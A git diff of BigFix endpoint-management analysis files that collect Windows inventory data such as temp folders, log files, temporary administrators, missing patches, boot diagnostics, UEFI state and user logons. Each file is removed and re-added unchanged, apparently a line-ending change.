+++ b/Sites/Windows Management/Fixlets/Analyses/Temp Folders, Logs, etc... - Windows (2994784).bes	
@@ -1,27 +1,27 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Temp Folders, Logs, etc... - Windows
-  ID       : 2994784
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2015-05-06T09:07:47
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Temp Folders, Logs, etc... - Windows</Title>
-    <Description><![CDATA[<P>&nbsp;</P>
-<P>The latest version of this Analysis can be found here: &nbsp;<A href="http://bigfix.me/analysis/details/2994620"><FONT color=#000080>http://bigfix.me/analysis/details/2994620</FONT></A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 01 Jul 2014 16:05:36 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Temp Folders" EvaluationPeriod="PT6H">(folders &quot;Temp&quot; of windows folder;folders &quot;C:\temp&quot;; folders &quot;C:\ProgramData\TEMP&quot;; folders &quot;AppData\Local\Temp&quot; of folders whose(exists folder &quot;AppData\Local\Temp&quot; of it) of folders &quot;C:\Users&quot;; folders &quot;C:\Program Files (x86)\BigFix Enterprise\BES Client&quot;; folders &quot;C:\Program Files\BigFix Enterprise\BES Client&quot;)</Property>
-    <Property ID="2" Name="Log Files" EvaluationPeriod="P2D">pathnames of descendants whose(name of it as lowercase ends with &quot;.log&quot;) of (folders &quot;Temp&quot; of windows folder;folders &quot;C:\temp&quot;; folders &quot;C:\ProgramData\TEMP&quot;; folders &quot;AppData\Local\Temp&quot; of folders whose(exists folder &quot;AppData\Local\Temp&quot; of it) of folders &quot;C:\Users&quot;; folders &quot;C:\Program Files (x86)\BigFix Enterprise\BES Client&quot;; folders &quot;C:\Program Files\BigFix Enterprise\BES Client&quot;; folders &quot;C:\Windows\Logs&quot;)</Property>
-    <Property ID="3" Name="MS Office Logs" EvaluationPeriod="PT12H">pathnames of descendants whose(name of it as lowercase ends with &quot;.txt&quot; AND name of it as lowercase starts with &quot;microsoft office setup&quot;) of (folders &quot;Temp&quot; of windows folder ; folders &quot;C:\temp&quot; ; folders &quot;C:\ProgramData\TEMP&quot; ; folders &quot;AppData\Local\Temp&quot; of folders whose(exists folder &quot;AppData\Local\Temp&quot; of it) of folders &quot;C:\Users&quot;)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Temp Folders, Logs, etc... - Windows
+  ID       : 2994784
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-06T09:07:47
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Temp Folders, Logs, etc... - Windows</Title>
+    <Description><![CDATA[<P>&nbsp;</P>
+<P>The latest version of this Analysis can be found here: &nbsp;<A href="http://bigfix.me/analysis/details/2994620"><FONT color=#000080>http://bigfix.me/analysis/details/2994620</FONT></A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 01 Jul 2014 16:05:36 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Temp Folders" EvaluationPeriod="PT6H">(folders &quot;Temp&quot; of windows folder;folders &quot;C:\temp&quot;; folders &quot;C:\ProgramData\TEMP&quot;; folders &quot;AppData\Local\Temp&quot; of folders whose(exists folder &quot;AppData\Local\Temp&quot; of it) of folders &quot;C:\Users&quot;; folders &quot;C:\Program Files (x86)\BigFix Enterprise\BES Client&quot;; folders &quot;C:\Program Files\BigFix Enterprise\BES Client&quot;)</Property>
+    <Property ID="2" Name="Log Files" EvaluationPeriod="P2D">pathnames of descendants whose(name of it as lowercase ends with &quot;.log&quot;) of (folders &quot;Temp&quot; of windows folder;folders &quot;C:\temp&quot;; folders &quot;C:\ProgramData\TEMP&quot;; folders &quot;AppData\Local\Temp&quot; of folders whose(exists folder &quot;AppData\Local\Temp&quot; of it) of folders &quot;C:\Users&quot;; folders &quot;C:\Program Files (x86)\BigFix Enterprise\BES Client&quot;; folders &quot;C:\Program Files\BigFix Enterprise\BES Client&quot;; folders &quot;C:\Windows\Logs&quot;)</Property>
+    <Property ID="3" Name="MS Office Logs" EvaluationPeriod="PT12H">pathnames of descendants whose(name of it as lowercase ends with &quot;.txt&quot; AND name of it as lowercase starts with &quot;microsoft office setup&quot;) of (folders &quot;Temp&quot; of windows folder ; folders &quot;C:\temp&quot; ; folders &quot;C:\ProgramData\TEMP&quot; ; folders &quot;AppData\Local\Temp&quot; of folders whose(exists folder &quot;AppData\Local\Temp&quot; of it) of folders &quot;C:\Users&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Temporary Administrators - Windows (2998399).bes b/Sites/Windows Management/Fixlets/Analyses/Temporary Administrators - Windows (2998399).bes
index bc7ad1d22..7049c871d 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Temporary Administrators - Windows (2998399).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Temporary Administrators - Windows (2998399).bes	
@@ -1,25 +1,25 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Temporary Administrators - Windows
-  ID       : 2998399
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-09-14T21:22:24
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Temporary Administrators - Windows</Title>
-    <Description><![CDATA[<P>This Analysis provides information from the Temporary Admins fixlets in the C3-Inventory Site.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights&quot; of x32 registry</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Administrators - Current Temporary Administrators - Windows" EvaluationPeriod="PT1H">(value &quot;Username&quot; of it, value &quot;Start&quot; of it, value &quot;Expiration&quot; of it) of keys of key &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current&quot; of x32 registry</Property>
-    <Property ID="2" Name="Administrators - Expired Temporary Administrators - Windows" EvaluationPeriod="P1D">(value &quot;Username&quot; of it, value &quot;Start&quot; of it, value &quot;Expiration&quot; of it, value &quot;Revoked&quot; of it) of keys of key &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Expired&quot; of x32 registry</Property>
-    <Property ID="3" Name="Administrators - Current Authorized Requestors - Windows" EvaluationPeriod="PT1H">(value &quot;Username&quot; of it, value &quot;Start&quot; of it, value &quot;Expiration&quot; of it) of keys of key &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current&quot; of x32 registry</Property>
-    <Property ID="4" Name="Administrators - Expired Authorized Requestors - Windows" EvaluationPeriod="P1D">(value &quot;Username&quot; of it, value &quot;Start&quot; of it) of keys of key &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Expired&quot; of x32 registry</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Temporary Administrators - Windows
+  ID       : 2998399
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-14T21:22:24
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Temporary Administrators - Windows</Title>
+    <Description><![CDATA[<P>This Analysis provides information from the Temporary Admins fixlets in the C3-Inventory Site.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights&quot; of x32 registry</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Administrators - Current Temporary Administrators - Windows" EvaluationPeriod="PT1H">(value &quot;Username&quot; of it, value &quot;Start&quot; of it, value &quot;Expiration&quot; of it) of keys of key &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current&quot; of x32 registry</Property>
+    <Property ID="2" Name="Administrators - Expired Temporary Administrators - Windows" EvaluationPeriod="P1D">(value &quot;Username&quot; of it, value &quot;Start&quot; of it, value &quot;Expiration&quot; of it, value &quot;Revoked&quot; of it) of keys of key &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Expired&quot; of x32 registry</Property>
+    <Property ID="3" Name="Administrators - Current Authorized Requestors - Windows" EvaluationPeriod="PT1H">(value &quot;Username&quot; of it, value &quot;Start&quot; of it, value &quot;Expiration&quot; of it) of keys of key &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current&quot; of x32 registry</Property>
+    <Property ID="4" Name="Administrators - Expired Authorized Requestors - Windows" EvaluationPeriod="P1D">(value &quot;Username&quot; of it, value &quot;Start&quot; of it) of keys of key &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Expired&quot; of x32 registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Troubleshooting - Missing Patches - Windows (2998276).bes b/Sites/Windows Management/Fixlets/Analyses/Troubleshooting - Missing Patches - Windows (2998276).bes
index f75517a8e..3dc301a1b 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Troubleshooting - Missing Patches - Windows (2998276).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Troubleshooting - Missing Patches - Windows (2998276).bes	
@@ -1,22 +1,22 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Troubleshooting - Missing Patches - Windows
-  ID       : 2998276
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-07-19T17:56:04
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Troubleshooting - Missing Patches - Windows</Title>
-    <Description><![CDATA[This analysis provides a count of missing patches from the Endpoint's perspective to allow capturing of this data without session relevance queries.
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="2" Name="Patches - Missing OS Security Patches Count - Windows" EvaluationPeriod="P1D">number of (concatenation &quot;&quot; of matches (regex &quot;[a-z]&quot;) of (values of headers &quot;X-Fixlet-Source-Severity&quot; of it as lowercase)) whose (it = &quot;critical&quot; or it = &quot;important&quot; or it = &quot;moderate&quot;) of relevant fixlets whose (not exists (headers &quot;X-Fixlet-Type&quot; of it) whose (value of it is contained by set of (&quot;Task&quot;;&quot;Analysis&quot;;&quot;Baseline&quot;)) and exists headers &quot;X-Fixlet-Default-Action&quot; of it) of sites whose (name of it is contained by set of (&quot;Enterprise Security&quot;))</Property>
-    <Property ID="3" Name="Patches - Missing App Security Patches Count - Windows" EvaluationPeriod="P1D">number of (concatenation &quot;&quot; of matches (regex &quot;[a-z]&quot;) of (values of headers &quot;X-Fixlet-Source-Severity&quot; of it as lowercase)) whose (it = &quot;critical&quot; or it = &quot;important&quot; or it = &quot;moderate&quot;) of relevant fixlets whose (not exists (headers &quot;X-Fixlet-Type&quot; of it) whose (value of it is contained by set of (&quot;Task&quot;;&quot;Analysis&quot;;&quot;Baseline&quot;)) and exists headers &quot;X-Fixlet-Default-Action&quot; of it) of sites whose (name of it is contained by set of (&quot;Updates for Windows Applications&quot;))</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Troubleshooting - Missing Patches - Windows
+  ID       : 2998276
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-19T17:56:04
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Troubleshooting - Missing Patches - Windows</Title>
+    <Description><![CDATA[This analysis provides a count of missing patches from the Endpoint's perspective to allow capturing of this data without session relevance queries.
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="2" Name="Patches - Missing OS Security Patches Count - Windows" EvaluationPeriod="P1D">number of (concatenation &quot;&quot; of matches (regex &quot;[a-z]&quot;) of (values of headers &quot;X-Fixlet-Source-Severity&quot; of it as lowercase)) whose (it = &quot;critical&quot; or it = &quot;important&quot; or it = &quot;moderate&quot;) of relevant fixlets whose (not exists (headers &quot;X-Fixlet-Type&quot; of it) whose (value of it is contained by set of (&quot;Task&quot;;&quot;Analysis&quot;;&quot;Baseline&quot;)) and exists headers &quot;X-Fixlet-Default-Action&quot; of it) of sites whose (name of it is contained by set of (&quot;Enterprise Security&quot;))</Property>
+    <Property ID="3" Name="Patches - Missing App Security Patches Count - Windows" EvaluationPeriod="P1D">number of (concatenation &quot;&quot; of matches (regex &quot;[a-z]&quot;) of (values of headers &quot;X-Fixlet-Source-Severity&quot; of it as lowercase)) whose (it = &quot;critical&quot; or it = &quot;important&quot; or it = &quot;moderate&quot;) of relevant fixlets whose (not exists (headers &quot;X-Fixlet-Type&quot; of it) whose (value of it is contained by set of (&quot;Task&quot;;&quot;Analysis&quot;;&quot;Baseline&quot;)) and exists headers &quot;X-Fixlet-Default-Action&quot; of it) of sites whose (name of it is contained by set of (&quot;Updates for Windows Applications&quot;))</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Troubleshooting - Slow Boot Slow Logon - Windows (2998474).bes b/Sites/Windows Management/Fixlets/Analyses/Troubleshooting - Slow Boot Slow Logon - Windows (2998474).bes
index cec89b144..7958582ab 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Troubleshooting - Slow Boot Slow Logon - Windows (2998474).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Troubleshooting - Slow Boot Slow Logon - Windows (2998474).bes	
@@ -1,23 +1,23 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Troubleshooting - Slow Boot Slow Logon - Windows
-  ID       : 2998474
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-10-26T07:41:35
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Troubleshooting - Slow Boot Slow Logon - Windows</Title>
-    <Description><![CDATA[<P>Provides information useful for troubleshooting slow boots and slow logons.</P>
-<P>The WMI Analysis may also prove useful: WMI - Windows</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="4" Name="Troubleshooting - Slow Logins - Windows" EvaluationPeriod="P1D">(time generated of it, description of it) of records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 500;item 1 of it))) of (record count of it, oldest record number of it)) whose ((event id of it = 6006 or event id of it = 2147489654) and description of it contains &quot;Logon&quot;) of event log &quot;Application&quot;  </Property>
-    <Property ID="5" Name="Troubleshooting - Last Performance Diagnostic - Windows" EvaluationPeriod="P1D">(concatenations &quot;&quot; of substrings separated by &quot;%09&quot; of (it as trimmed string)) of substrings separated by &quot;%0d%0a&quot; of description of record (oldest record number of it + record count of it - 1) of event log &quot;Microsoft-Windows-Diagnostics-Performance/Operational&quot;</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Troubleshooting - Slow Boot Slow Logon - Windows
+  ID       : 2998474
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-10-26T07:41:35
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Troubleshooting - Slow Boot Slow Logon - Windows</Title>
+    <Description><![CDATA[<P>Provides information useful for troubleshooting slow boots and slow logons.</P>
+<P>The WMI Analysis may also prove useful: WMI - Windows</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="4" Name="Troubleshooting - Slow Logins - Windows" EvaluationPeriod="P1D">(time generated of it, description of it) of records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 500;item 1 of it))) of (record count of it, oldest record number of it)) whose ((event id of it = 6006 or event id of it = 2147489654) and description of it contains &quot;Logon&quot;) of event log &quot;Application&quot;  </Property>
+    <Property ID="5" Name="Troubleshooting - Last Performance Diagnostic - Windows" EvaluationPeriod="P1D">(concatenations &quot;&quot; of substrings separated by &quot;%09&quot; of (it as trimmed string)) of substrings separated by &quot;%0d%0a&quot; of description of record (oldest record number of it + record count of it - 1) of event log &quot;Microsoft-Windows-Diagnostics-Performance/Operational&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/UEFI - Windows (2998369).bes b/Sites/Windows Management/Fixlets/Analyses/UEFI - Windows (2998369).bes
index 3db50096d..f02feac3e 100644
--- a/Sites/Windows Management/Fixlets/Analyses/UEFI - Windows (2998369).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/UEFI - Windows (2998369).bes	
@@ -1,23 +1,23 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : UEFI - Windows
-  ID       : 2998369
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-08-25T11:44:42
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>UEFI - Windows</Title>
-    <Description><![CDATA[<P>UEFI status on Windows using the setupact log and SecureBoot using system registry</P>
-<P>Credit, kudos, and thanks to jgstew: <A href="https://bigfix.me/relevance/details/3007539">https://bigfix.me/relevance/details/3007539</A></P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="UEFI - State - Windows" EvaluationPeriod="P1D">if (exists Selects &quot;* from Win32_DiskPartition Where Type = &apos;GPT: System&apos;&quot; of wmi) then &quot;UEFI&quot; else &quot;BIOS&quot;</Property>
-    <Property ID="2" Name="SecureBoot - State - Windows" EvaluationPeriod="P1D">if (exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecureBoot\State&quot; of native registry and value &quot;UEFISecureBootEnabled&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecureBoot\State&quot; of native registry = 1)  then &quot;Enabled&quot; else &quot;Disabled&quot;</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : UEFI - Windows
+  ID       : 2998369
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-08-25T11:44:42
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>UEFI - Windows</Title>
+    <Description><![CDATA[<P>UEFI status on Windows using the setupact log and SecureBoot using system registry</P>
+<P>Credit, kudos, and thanks to jgstew: <A href="https://bigfix.me/relevance/details/3007539">https://bigfix.me/relevance/details/3007539</A></P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="UEFI - State - Windows" EvaluationPeriod="P1D">if (exists Selects &quot;* from Win32_DiskPartition Where Type = &apos;GPT: System&apos;&quot; of wmi) then &quot;UEFI&quot; else &quot;BIOS&quot;</Property>
+    <Property ID="2" Name="SecureBoot - State - Windows" EvaluationPeriod="P1D">if (exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecureBoot\State&quot; of native registry and value &quot;UEFISecureBootEnabled&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecureBoot\State&quot; of native registry = 1)  then &quot;Enabled&quot; else &quot;Disabled&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Uninstall Analysis (54).bes b/Sites/Windows Management/Fixlets/Analyses/Uninstall Analysis (54).bes
index 8e3ece0b8..b25949428 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Uninstall Analysis (54).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Uninstall Analysis (54).bes	
@@ -1,25 +1,25 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Uninstall Analysis
-  ID       : 54
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2012-12-04T10:51:02
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Uninstall Analysis</Title>
-    <Description>Pulls back Registry Keys and Display Names for windows installed software </Description>
-    <Relevance>true</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 04 Dec 2012 16:37:14 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="QuietUninstallString" EvaluationPeriod="PT1H">(values &quot;DisplayName&quot; of it, values &quot;DisplayVersion&quot; of it, values &quot;UninstallString&quot; of it, values &quot;QuietUninstallString&quot; of it) of keys of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of registry</Property>
-    <Property ID="2" Name="UninstallString" EvaluationPeriod="PT1H">(values &quot;DisplayName&quot; of it, values &quot;DisplayVersion&quot; of it, values &quot;UninstallString&quot; of it) of keys of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of registry</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Uninstall Analysis
+  ID       : 54
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-12-04T10:51:02
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Uninstall Analysis</Title>
+    <Description>Pulls back Registry Keys and Display Names for windows installed software </Description>
+    <Relevance>true</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 04 Dec 2012 16:37:14 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="QuietUninstallString" EvaluationPeriod="PT1H">(values &quot;DisplayName&quot; of it, values &quot;DisplayVersion&quot; of it, values &quot;UninstallString&quot; of it, values &quot;QuietUninstallString&quot; of it) of keys of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of registry</Property>
+    <Property ID="2" Name="UninstallString" EvaluationPeriod="PT1H">(values &quot;DisplayName&quot; of it, values &quot;DisplayVersion&quot; of it, values &quot;UninstallString&quot; of it) of keys of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Users - Windows (2998571).bes b/Sites/Windows Management/Fixlets/Analyses/Users - Windows (2998571).bes
index bf922d234..04db176de 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Users - Windows (2998571).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Users - Windows (2998571).bes	
@@ -1,33 +1,33 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Users - Windows
-  ID       : 2998571
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-06-06T09:51:21
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Users - Windows</Title>
-    <Description><![CDATA[<P>This Analysis provides Windows-specific user information for the currently active user&nbsp;including:</P>
-<UL>
-<LI>Drive Mappings for the currently active user
-<LI>Administrator status of currently active user</LI></UL>
-<P>This Analysis also provides the following general information for users of the system:&nbsp;</P>
-<UL>
-<LI>The previously logged on user for the system
-<LI>The last logon timestamp for each previous user of the system</LI></UL>
-<P><STRONG>Note</STRONG>: OS Upgrades may reset last logon timestamp to the date of the upgrade.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>NOT in proxy agent context</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Users - Last Logged on - Windows" EvaluationPeriod="P1D">(sid (it) as string | it ) of (string values whose (set of (&quot;S-1-5-20&quot;;&quot;S-1-5-19&quot;;&quot;S-1-5-18&quot;) does not contain it) of properties &quot;sid&quot; of items 0 of (it whose (preceding text of first &quot;.&quot; of string value of property &quot;LastUseTime&quot; of item 0 of it as integer = item 1 of it) of (select objects &quot;* from Win32_UserProfile&quot; of wmi, it) of (maximum of (preceding text of first &quot;.&quot; of string value of property &quot;LastUseTime&quot; of it as integer) of select objects &quot;* from Win32_UserProfile&quot; of wmi)))</Property>
-    <Property ID="9" Name="Current User - Drive Mappings - Windows" EvaluationPeriod="P1D">(concatenations &quot;\&quot; of substrings separated by &quot;#&quot; of name of it) of keys whose (name of it contains &quot;#&quot;) of keys &quot;Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2&quot; of (current user keys (logged on users) of registry)</Property>
-    <Property ID="10" Name="Users - Last Logon Time - Windows" EvaluationPeriod="PT12H">(sid (string value of property &quot;sid&quot; of it) as string | string value of property &quot;sid&quot; of it, time value of property &quot;LastUseTime&quot; of it) of (select objects &quot;* from Win32_UserProfile&quot; of wmi) whose (set of (&quot;S-1-5-20&quot;;&quot;S-1-5-19&quot;;&quot;S-1-5-18&quot;) does not contain string value of property &quot;sid&quot; of it)</Property>
-    <Property ID="11" Name="Current User - Administrator - Windows" EvaluationPeriod="P1D">exists elements of intersection of ( /*IS THE LOGGED IN USER AN ADMINISTRATOR? */ set of ( /* User&apos;s SID and Group Memberships */ ((sids of groups of logged on user of active directory) as string); /*User Group Memberships */ (sid of logged on user) as string /*Users SID*/ );( set of (/*Users and Groups in Administrators */ sids of members of local group &quot;administrators&quot; as string) ) )</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Users - Windows
+  ID       : 2998571
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-06-06T09:51:21
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Users - Windows</Title>
+    <Description><![CDATA[<P>This Analysis provides Windows-specific user information for the currently active user&nbsp;including:</P>
+<UL>
+<LI>Drive Mappings for the currently active user
+<LI>Administrator status of currently active user</LI></UL>
+<P>This Analysis also provides the following general information for users of the system:&nbsp;</P>
+<UL>
+<LI>The previously logged on user for the system
+<LI>The last logon timestamp for each previous user of the system</LI></UL>
